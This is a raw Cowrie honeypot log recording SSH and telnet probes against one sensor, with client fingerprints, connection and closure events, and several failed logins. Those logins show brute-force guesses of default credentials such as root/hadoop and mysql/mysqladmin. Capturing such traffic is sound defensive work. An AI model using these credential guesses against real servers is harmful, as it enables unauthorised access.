{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:34.894380Z","src_ip":"185.158.22.150","session":"35bf2d0d7c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:35.049244Z","src_ip":"185.158.22.150","session":"35bf2d0d7c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1793393a568","protocol":"telnet","message":"New connection: 45.58.127.90:52568 (10.17.0.5:23) [session: d1793393a568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:35.670251Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqladmin","message":"login attempt [mysql/mysqladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:35.705733Z","src_ip":"185.158.22.150","session":"35bf2d0d7c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:36.867308Z","src_ip":"185.158.22.150","session":"35bf2d0d7c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35764,"dst_ip":"159.203.135.109","dst_port":23,"session":"82569dd0035a","protocol":"telnet","message":"New connection: 135.148.33.91:35764 (159.203.135.109:23) [session: 82569dd0035a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:38.861542Z"}
{"eventid":"cowrie.session.closed","duration":35.19249892234802,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:39.798573Z","src_ip":"135.148.33.91","session":"17c87661f7f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00616264343262,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:41.893108Z","src_ip":"104.140.145.149","session":"ce4c2435e1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14091181755066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:46.435519Z","src_ip":"135.148.33.91","session":"7b13edf0cd96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.747804403305054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:49.741560Z","src_ip":"135.148.33.91","session":"4e35dd41ea10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca4c466f489","protocol":"telnet","message":"New connection: 135.148.33.91:42802 (159.203.135.109:23) [session: eca4c466f489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:50.736473Z"}
{"eventid":"cowrie.session.closed","duration":41.504111766815186,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:54.277808Z","src_ip":"135.148.33.91","session":"9e28d41d1f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.01314854621887,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:00.654401Z","src_ip":"135.148.33.91","session":"ba10b78c4505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.25459694862366,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:13.924742Z","src_ip":"45.58.127.90","session":"d1793393a568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":59280,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe4e5086ab9","protocol":"telnet","message":"New connection: 104.140.145.149:59280 (159.203.135.109:23) [session: abe4e5086ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:16.200242Z"}
{"eventid":"cowrie.session.closed","duration":40.54171967506409,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:19.403162Z","src_ip":"135.148.33.91","session":"82569dd0035a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae4b6d6f1936","protocol":"ssh","message":"New connection: 161.248.189.72:33342 (10.17.0.5:22) [session: ae4b6d6f1936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:22.126817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:22.132123Z","src_ip":"161.248.189.72","session":"ae4b6d6f1936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":27838,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f492980a79a","protocol":"ssh","message":"New connection: 185.158.22.150:27838 (159.203.135.109:22) [session: 8f492980a79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:22.360824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:22.366210Z","src_ip":"185.158.22.150","session":"8f492980a79a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:22.369480Z","src_ip":"161.248.189.72","session":"ae4b6d6f1936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:22.527165Z","src_ip":"185.158.22.150","session":"8f492980a79a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kodi","message":"login attempt [root/kodi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:23.315383Z","src_ip":"161.248.189.72","session":"ae4b6d6f1936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin124","message":"login attempt [ftpuser/admin124] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:24.206659Z","src_ip":"185.158.22.150","session":"8f492980a79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:24.548127Z","src_ip":"161.248.189.72","session":"ae4b6d6f1936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.3818244934082,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:25.118214Z","src_ip":"135.148.33.91","session":"eca4c466f489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:25.370223Z","src_ip":"185.158.22.150","session":"8f492980a79a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39430,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ce890daed3","protocol":"telnet","message":"New connection: 135.148.33.91:39430 (159.203.135.109:23) [session: e0ce890daed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:33.569736Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38852,"dst_ip":"159.203.135.109","dst_port":23,"session":"6255e0d4b8d3","protocol":"telnet","message":"New connection: 135.148.33.91:38852 (159.203.135.109:23) [session: 6255e0d4b8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:34.639950Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39052,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61418f58792","protocol":"telnet","message":"New connection: 135.148.33.91:39052 (159.203.135.109:23) [session: d61418f58792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:35.003048Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46898,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fcff9d357b8","protocol":"telnet","message":"New connection: 135.148.33.91:46898 (159.203.135.109:23) [session: 8fcff9d357b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:45.110727Z"}
{"eventid":"cowrie.session.closed","duration":30.867162704467773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:27:47.067250Z","src_ip":"104.140.145.149","session":"abe4e5086ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56626,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1e2ab2f529a","protocol":"telnet","message":"New connection: 135.148.33.91:56626 (159.203.135.109:23) [session: c1e2ab2f529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:02.519244Z"}
{"eventid":"cowrie.session.closed","duration":32.89079189300537,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:07.893597Z","src_ip":"135.148.33.91","session":"d61418f58792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16069769859314,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:08.730313Z","src_ip":"135.148.33.91","session":"e0ce890daed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":20942,"dst_ip":"159.203.135.109","dst_port":22,"session":"0717c9f3ec6c","protocol":"ssh","message":"New connection: 185.158.22.150:20942 (159.203.135.109:22) [session: 0717c9f3ec6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:08.928458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:08.932538Z","src_ip":"185.158.22.150","session":"0717c9f3ec6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:09.092311Z","src_ip":"185.158.22.150","session":"0717c9f3ec6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop","message":"login attempt [root/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:09.765236Z","src_ip":"185.158.22.150","session":"0717c9f3ec6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.978455543518066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:10.618317Z","src_ip":"135.148.33.91","session":"6255e0d4b8d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:10.927777Z","src_ip":"185.158.22.150","session":"0717c9f3ec6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34542,"dst_ip":"159.203.135.109","dst_port":23,"session":"3861556bd1b9","protocol":"telnet","message":"New connection: 135.148.33.91:34542 (159.203.135.109:23) [session: 3861556bd1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:13.526380Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48886,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd8a2ae169a","protocol":"telnet","message":"New connection: 135.148.33.91:48886 (159.203.135.109:23) [session: 1bd8a2ae169a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:19.106278Z"}
{"eventid":"cowrie.session.closed","duration":0.0053255558013916016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:19.111499Z","src_ip":"135.148.33.91","session":"1bd8a2ae169a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.07857584953308,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:21.189128Z","src_ip":"135.148.33.91","session":"8fcff9d357b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39166,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2be9a80bb2","protocol":"telnet","message":"New connection: 135.148.33.91:39166 (159.203.135.109:23) [session: 0e2be9a80bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:21.984832Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33418,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cec338c6ed2","protocol":"ssh","message":"New connection: 161.248.189.72:33418 (10.17.0.5:22) [session: 8cec338c6ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:28.065627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:28.071191Z","src_ip":"161.248.189.72","session":"8cec338c6ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:28.306901Z","src_ip":"161.248.189.72","session":"8cec338c6ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@2026","message":"login attempt [root/Password@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:29.263849Z","src_ip":"161.248.189.72","session":"8cec338c6ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43418,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef185a6e018","protocol":"telnet","message":"New connection: 135.148.33.91:43418 (159.203.135.109:23) [session: aef185a6e018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:30.428356Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:30.503287Z","src_ip":"161.248.189.72","session":"8cec338c6ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a3336322b60","protocol":"telnet","message":"New connection: 45.58.127.90:60110 (10.17.0.5:23) [session: 7a3336322b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:37.739547Z"}
{"eventid":"cowrie.session.closed","duration":35.36461567878723,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:37.883753Z","src_ip":"135.148.33.91","session":"c1e2ab2f529a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01095390319824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:47.537236Z","src_ip":"135.148.33.91","session":"3861556bd1b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.29.172.61","src_port":35080,"dst_ip":"159.203.135.109","dst_port":23,"session":"5462ecd211a6","protocol":"telnet","message":"New connection: 5.29.172.61:35080 (159.203.135.109:23) [session: 5462ecd211a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:54.151412Z"}
{"eventid":"cowrie.session.closed","duration":35.49399948120117,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:28:57.478709Z","src_ip":"135.148.33.91","session":"0e2be9a80bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f49cd018888d","protocol":"telnet","message":"New connection: 135.148.33.91:34994 (159.203.135.109:23) [session: f49cd018888d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:05.290761Z"}
